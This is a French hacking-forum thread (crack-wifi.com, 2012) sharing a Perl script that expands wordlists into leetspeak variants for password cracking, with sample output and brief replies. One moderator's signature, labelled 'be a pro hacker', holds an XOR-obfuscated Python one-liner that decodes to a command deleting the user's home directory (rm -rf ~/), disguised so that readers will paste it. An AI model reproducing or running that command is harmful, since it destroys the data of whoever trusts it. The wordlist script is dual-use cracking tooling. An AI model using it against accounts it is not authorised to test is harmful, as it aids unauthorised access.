Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 10-05-2012 21:41:18

TAPE
Membre
Inscription : 14-02-2011
Messages : 21

'Leetify' un wordlist

Suite a la poste de Mickey en John the Ripper, je voulais vous passer un script qui a ete ecrit par Gitsnik,
ca change chaque mot dans une liste ou bien un seul mot en toutes possibilites.
Ca fait agrandir le wordlist enormement, mais je pensais que ca pourrait etre util.

Moi je le trouve genial wink


Par example, le seul mot "firewall" sera change en 32400 possibilites.

[email protected]:~/tools# echo firewall | ./permute.pl | wc -l
32400
[email protected]:~/tools# echo firewall | ./permute.pl | head -n 10
fir3wall
fir3walL
fir3wal!
fir3wal7
fir3wal1
fir3wal|
fir3waLl
fir3waLL
fir3waL!
fir3waL7
[email protected]:~/tools# echo firewall | ./permute.pl | tail -n 10
F1Re\/\/A1!
F1Re\/\/A17
F1Re\/\/A11
F1Re\/\/A1|
F1Re\/\/A|l
F1Re\/\/A|L
F1Re\/\/A|!
F1Re\/\/A|7
F1Re\/\/A|1
F1Re\/\/A||
[email protected]:~/tools#

Le script (en perle)

#!/usr/bin/perl

use strict;
use warnings;

my %permution = (
	"a" => [ "a", "4", "@", "&", "A" ],
	"b" => "bB",
	"c" => "cC",
	"d" => "dD",
	"e" => "3Ee",
	"f" => "fF",
	"g" => "gG9",
	"h" => "hH",
	"i" => "iI!|1",
	"j" => "jJ",
	"k" => "kK",
	"l" => "lL!71|",
	"m" => "mM",
	"n" => "nN",
	"o" => "oO0",
	"p" => "pP",
	"q" => "qQ",
	"r" => "rR",
	"s" => "sS5\$",
	"t" => "tT71+",
	"u" => "uU",
	"v" => "vV",
	"w" => ["w", "W", "\\/\\/"],
	"x" => "xX",
	"y" => "yY",
	"z" => "zZ2",
);

# End config

while(my $word = <>) {
	chomp $word;
	my @string = split //, lc($word);
	&permute(0, @string);
}

sub permute {
	my $num = shift;
	my @str = @_;
	my $len = @str;

	if($num >= $len) {
		foreach my $char (@str) {
			print $char;
		}
		print "\n";
		return;
	}

	my $per = $permution{$str[$num]};

	if($per) {
		my @letters = ();
		if(ref($per) eq 'ARRAY') {
			@letters = @$per;
		} else {
			@letters = split //, $per;
		}
		$per = "";

		foreach $per (@letters) {
			my $s = "";
			for(my $i = 0; $i < $len; $i++) {
				if($i eq 0) {
					if($i eq $num) {
						$s = $per;
					} else {
						$s = $str[0];
					}
				} else {
					if($i eq $num) {
						$s .= $per;
					} else {
						$s .= $str[$i];
					}
				}
			}
			my @st = split //, $s;
			&permute(($num + 1), @st);
		}
	} else {
		&permute(($num + 1), @str);
	}
}

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 10-05-2012 22:10:47

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : 'Leetify' un wordlist

Joli script ! Merci du partage


Sharkoff

Hors Ligne

#3 10-05-2012 23:46:10

kcdtv
Membre d'honneur
Lieu : Internacionaluña
Inscription : 31-03-2010
Messages : 4 246

Re : 'Leetify' un wordlist

Nice! smile

Le script (en perle)

Ça s'en est une tongue

Hors Ligne

#4 11-05-2012 18:27:38

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : 'Leetify' un wordlist

[troll] python > perl big_smile[/troll]


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#5 11-05-2012 19:55:18

TAPE
Membre
Inscription : 14-02-2011
Messages : 21

Re : 'Leetify' un wordlist

Pour moi, les deux sont incomprehensible big_smile

J'ai essaye a faire quelque chose pareil en bash pour ajuter dans mon
script WLM, mais je n'arrive pas smile

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.168 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]